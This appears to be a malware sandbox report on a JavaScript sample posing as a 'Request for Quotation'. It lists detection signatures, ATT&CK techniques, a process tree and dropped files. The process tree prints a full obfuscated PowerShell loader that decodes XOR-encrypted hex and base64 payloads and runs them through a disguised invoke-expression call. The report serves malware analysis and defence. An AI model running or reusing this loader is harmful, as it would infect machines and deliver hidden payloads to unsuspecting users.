Overview

overview

10

Static

static

1

Request fo...ion.js

windows10-2004-x64

10

Request fo...ion.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    119s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 12:12

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Request for Quotation.js
  • Size 45KB
  • Sample260707-pdagsahs9w
  • SHA256 fe1d85e36c6f8261310f9ddc348d982537d8dc800392bd1ced27fbb69b7caccf
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwareexecutionpersistencespyware

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 57 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Request for Quotation.js"
    1⤵
      PID:3736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$j=71-29;$vVyaRZZl='Hu9BTXm4pi1i';$dw6ALaO='efd5c09c9f80b3b389affea692ffbebb9b91a8f0beb0bbf0efd5c8a69b86e9cdbfb1edaa81bac387979cb3d3bbadfaa487adced2c4a1a2fdafb1f2b79b8fe1878a9da4f1b6e3a6e3b991f69cd0a1a2fdafb1f2b79b8fe1878a9da4f1b697e2b38782a9d2aa9eb4afe8ce91e780e9a7d5d9969fd0aaa1f6a0858aa084849680c8ae8ce281d3bca1848ba8bedc8ea6c38dd285c4d88ba7aac8b7a1dc9588bbd4848890adedbda0d3958bbdd48494bb80d0a99ac38d9896d5aa91ab90abeaa1a9f2aa86cbba9297f4dceb9af6bb9286eaaa849680d8eaa2cc8e858ecba684a890afb3a1d3a8858bd4d196a882d8a0a0a9959686fe90cbb980d4efa7dc958087c0aa90b99fea98a0a88d8ebdc4a28d9794dcb593ce8598bca1be8aabaae6ef8ff0a78ebbd6becaa890d0eba7dcaf9785a3ae8491f5c8ae9af6bbd794d083c9bb80f2b788dca48596c7d98b9690e6a988c3b7db96dba292968fc8a3a1f281a0bcdbaabb90f5afb2a2ccf7978ea0be8791aac8afa7de9194bdc4ae8e90aeab97a1a9858994d48b8ebdf4afe3e496c9a3bbf7c5aa8bb7fbfaeecfba92bad78d989ba9f7aeaaf4adc2f7c8bc9b8ab3b09fadf8ac86b6fd8fa3c8fdcb8e85a3eda5bae7bb8a80aef0bdebc0808db1e58d8c869aa4e085e9ac8f9df29b9bc4f3cdaeb1f2ad85f7b78ac8c6eeb7f3ce91a597b1f09c979da9bebeebbfafcba4b79fc3bca2e9f78cf9a987bce7c8b097b3b08da6f9808eb6f6868ac9efd9bfb7b69183b1f78793d2e3f2faeed8ac97b1e7c8da9ee9ddb5b6f5b7cba3b6938a80bee5a8a6efb690b1b3cc89dc83f1adadf7ac83bbd7898a93efba85eae6a083abf080858fbae3d7c9fdb68cbce781919ce7f7f2e7faefc6abbfcc93dee3eee783b3eacba4b791c3a997f6bbadefac8f98f29c9baffda496acfaa7a3ace08d9390abe7f2';$a7CnMHc='OUFFLCV/BUVcEiNZaXQVZ2R+EEhZAx8YQg4qYm1hdgBIWUQReFFMM3VwA0VLAUBOM2cJY0xoTAlKWEwYcAxETFNoXg1AXxBVck5CVWhjXAhLWyJQfEcfSiZdTQNJVQcQU08CR3RvVAhGEDdIfFQFdC1EVhJRXQpfeAdFPjopV1xMWkwdOU5CXnJeTABRVQcVZnstdHVkTgBRUxZhJxovZWRsTARsUhdIfE4PcikpSkhYB0BSM2kCYW5mXUkBU0gYbQkRGgsAMkVOASQUNQcEY3V9Ak4KVx5dfA4PeC93WU4UEg5MegdFOykqUBVRTBcGMg9dJzYjCVYWElYbPQtMMDM6FlgcEw1Reg9dOWt9X0YMFWk2dEZEPyVqBQUFGA8VMEECcykpTFx+aAFEaQ4peWJiXAhLWzkGJ3U4UTkjfwRRbxBOdE4LPyVqEUgIUQVIfkhLKz1ebCACHE8cOnI4KT8lFksaFVgAWG4oKT8qERooNkQcOUcLcSEwGEZSXRYTenhfTmdZeg0KTBRdM1kKcnV+WREKE15PelMKfGZrUAdWWhdYOgBXNyVqXwcFAUQYekcKOVJ4WhJRTg1SeghcOyEpXwZDEihZc0cYfyEgGFAXFWk2OUxMKiEqCEYFB2k2PQBMN2gtEDpmUwpKeFIYSjs3fhNKUSZdbkVaI1J5SghLW0wYUEEYdGloSzoUYU0VPQcBbnF/VwZXXQkSVU8BcmR+H0ECThFSblNLN0ElHAZCWkgcOUxANyYqFEECbgFbXFMBMC0tH1ACHEgcOlhUISYkNWsFHEQcWkUYOlF/VwJATxdAbk8eYyFOaDQFEQBZbkMQZGRhXQJRHEladFIfYyE4RAdRHCpdcEVAVFFYGBwoNmk2PQBMNyEtGEEFHA==';$ei6j8G=0x5C3E-0xB5A0;$f1DSoNzg2=@();foreach($c in [char[]]$vVyaRZZl){$f1DSoNzg2+=[byte]($c-bxor0xAA)};$gP3PMg=$f1DSoNzg2;$f1DSoNzg2=@();foreach($c in [char[]]$vVyaRZZl){$f1DSoNzg2+=[byte]($c-bxor0x55)};$fyFt6pQ=$f1DSoNzg2;$r='';$i=0;for($j=0;$j-lt$dw6ALaO.Length;$j+=2){$r+=[char](([Convert]::ToInt32($dw6ALaO.Substring($j,2),16))-bxor$gP3PMg[$i++%$gP3PMg.Length])};$pF35Cq=$r;$b=[Convert]::FromBase64String($a7CnMHc);$r='';$i=0;for($j=0;$j-lt$b.Length;$j++){$r+=[char]($b[$j]-bxor$fyFt6pQ[$i++%$fyFt6pQ.Length])};$dDCbiYGg8=$r;$m3MEtlm=$pF35Cq+$dDCbiYGg8;.($env:ComSpec[4,26,25]-join'') $m3MEtlm"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4624
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xilfj4qi\xilfj4qi.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3976
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC579.tmp" "c:\Users\Admin\AppData\Local\Temp\xilfj4qi\CSC80709A0904949908E7CE997B3E983.TMP"
          3⤵
            PID:1232
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3540
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:1732
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1712
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1976

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RESC579.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESC579.tmp
            • Size 1KB
            • SHA256 1d0cec6059f515499ea7a89e659c0c978b84e56c5311718df50e05110586f0ab
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            xilfj4qi.dll
            • Path C:\Users\Admin\AppData\Local\Temp\xilfj4qi\xilfj4qi.dll
            • Size 3KB
            • SHA256 b39526bc500e7f843c17fc2eddc2697b87c4b52363b3e500a9e4541eb53146dd
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            CSC80709A0904949908E7CE997B3E983.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\xilfj4qi\CSC80709A0904949908E7CE997B3E983.TMP
            • Size 652B
            • SHA256 569d5014994610fc8c51044358b3e74320369c0925afaa5c7fb39b5818bc36ea
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            xilfj4qi.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\xilfj4qi\xilfj4qi.0.cs
            • Size 213B
            • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            xilfj4qi.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\xilfj4qi\xilfj4qi.cmdline
            • Size 369B
            • SHA256 a00f253af7e9a20b06d176af50e9b9dc53381494c30e549e397253f2484407b5
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1732-212-0x000000000EB50000-0x000000000EBA0000-memory.dmp
            Download

            memory/1976-67-0x0000018B82D70000-0x0000018B82D90000-memory.dmp
            Download

            memory/1976-47-0x0000018B82930000-0x0000018B82950000-memory.dmp
            Download

            memory/1976-48-0x0000018B82E70000-0x0000018B82F70000-memory.dmp
            Download

            memory/1976-81-0x0000018B94210000-0x0000018B94230000-memory.dmp
            Download

            memory/1976-37-0x0000018B801E0000-0x0000018B802E0000-memory.dmp
            Download

            memory/4624-11-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-32-0x000002012BA70000-0x000002012BA8A000-memory.dmp
            Download

            memory/4624-16-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-17-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-18-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-14-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-13-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-12-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-9-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-0-0x00007FFFA9E0F000-0x00007FFFA9E10000-memory.dmp
            Download

            memory/4624-31-0x00000201441E0000-0x00000201441E8000-memory.dmp
            Download

            memory/4624-15-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-10-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-8-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-7-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-6-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-5-0x00000201441A0000-0x00000201441C2000-memory.dmp
            Download

            memory/4624-2-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-211-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-1-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download

            memory/4624-217-0x00007FFFA9C80000-0x00007FFFAA624000-memory.dmp
            Download